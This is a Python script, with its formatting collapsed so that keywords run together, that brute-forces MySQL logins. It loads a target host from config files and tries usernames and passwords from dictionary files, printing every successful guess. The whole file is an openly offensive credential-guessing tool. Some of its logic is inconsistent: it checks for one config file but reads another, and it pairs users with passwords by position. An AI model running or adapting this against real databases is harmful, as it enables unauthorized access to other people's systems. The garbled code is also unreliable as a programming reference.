importpymysqlimportoptparseimportosimportconfigparserdefmain():
parser=optparse.OptionParser()
parser.add_option('-u',dest='username',help='MySQL username of blasting')
parser.add_option('-p',dest='password',help='MySQL password of blasting')
parser.add_option('-a',action='store_true',dest='all',help='MySQL all of blasting')
parser.add_option('-U',dest='zhidinusername',help='Configuration parameters for all: specify user dictionary')
parser.add_option('-P',dest='zhidinpassword',help='Configuration parameters for all: specify password dictionary')
(options,args)=parser.parse_args()ifoptions.username:
file=options.username
usernamepo(file)elifoptions.password:
file2=options.password
passwordpo(file2)elif options.all and options.zhidinusername andoptions.zhidinpassword:
un=options.zhidinusername
pd=options.zhidinpassword
allpo(un,pd)else:
parser.print_help()
exit()defusernamepo(file):
cx=open('{}'.format(file),'r')if os.path.exists('config.ini'):print('[+]Config.ini ok')else:print('[-]Config.ini Not Found')
exit()print('[*]Read the configuration file information')
cf=configparser.ConfigParser()
cf.read('config.ini')
host=cf.get('config','host')
port=cf.get('config','port')
password=cf.get('config','password')print('[/]-------Config.ini-------')print('[+]Host:{}'.format(host))print('[+]Port:{}'.format(port))print('[+]password{}'.format(password))print('[/]------User.txt----------')ifos.path.exists(file):print('[+]User.txt ok')else:print('[-]User.txt Not Found')print('[/]------Mysql blasting------')for k incx.readlines():try:
db=pymysql.connect(host,k.strip(),password)print('[+]Mysql Username in {}'.format(k.strip()))exceptException as g:print('[-]Not Username:{},and Error{}'.format(k.strip(),g))defpasswordpo(file2):
cx= open('{}'.format(file2), 'r')if os.path.exists('config.ini'):print('[+]Config.ini ok')else:print('[-]Config.ini Not Found')
exit()print('[*]Read the configuration file information')
cf=configparser.ConfigParser()
cf.read('config2.ini')
host= cf.get('config', 'host')
port= cf.get('config', 'port')
username= cf.get('config', 'username')print('[/]-------Config.ini-------')print('[+]Host:{}'.format(host))print('[+]Port:{}'.format(port))print('[+]username{}'.format(username))print('[/]------passwd.txt----------')ifos.path.exists(file2):print('[+]Passwd.txt ok')else:print('[-]Passwd.txt Not Found')print('[/]------Mysql blasting------')for k incx.readlines():try:
db=pymysql.connect(host, username, k.strip())print('[+]Mysql Password in {}'.format(k.strip()))exceptException as g:print('[-]Not Password:{},and Error{}'.format(k.strip(), g))defallpo(un,pd):
user=open('{}'.format(un),'r')
passs=open('{}'.format(pd),'r')
usern=[]
passn=[]ifos.path.exists(un):print('[+]Username.txt is ok')else:print('[-]Not Found username.txt')ifos.path.exists(pd):print('[+]Password.txt is ok')else:print('[-]Not Found password.txt')if os.path.exists('config3.ini'):print('[+]Config3.ini ok')else:print('[-]Config3.ini Not Found')
exit()
cf=configparser.ConfigParser()print('[/---------cofnig3.ini-------]')
cf.read('config3.ini')
host=cf.get('config','host')print('[+]host:{}'.format(host))print('[/]------Mysql blasting------')for u inuser.readlines():
usern.append(u.strip())for y inpasss.readlines():
passn.append(y.strip())for g inrange(0,len(usern)):try:
dk=pymysql.connect(host,usern[g],passn[g])print('[+]Username:{} and password:{}'.format(usern[g],passn[g]))exceptException as p:print('[-]Not username:{} and password:{} and Error:{}'.format(usern[g],passn[g],p))if __name__ == '__main__':
main()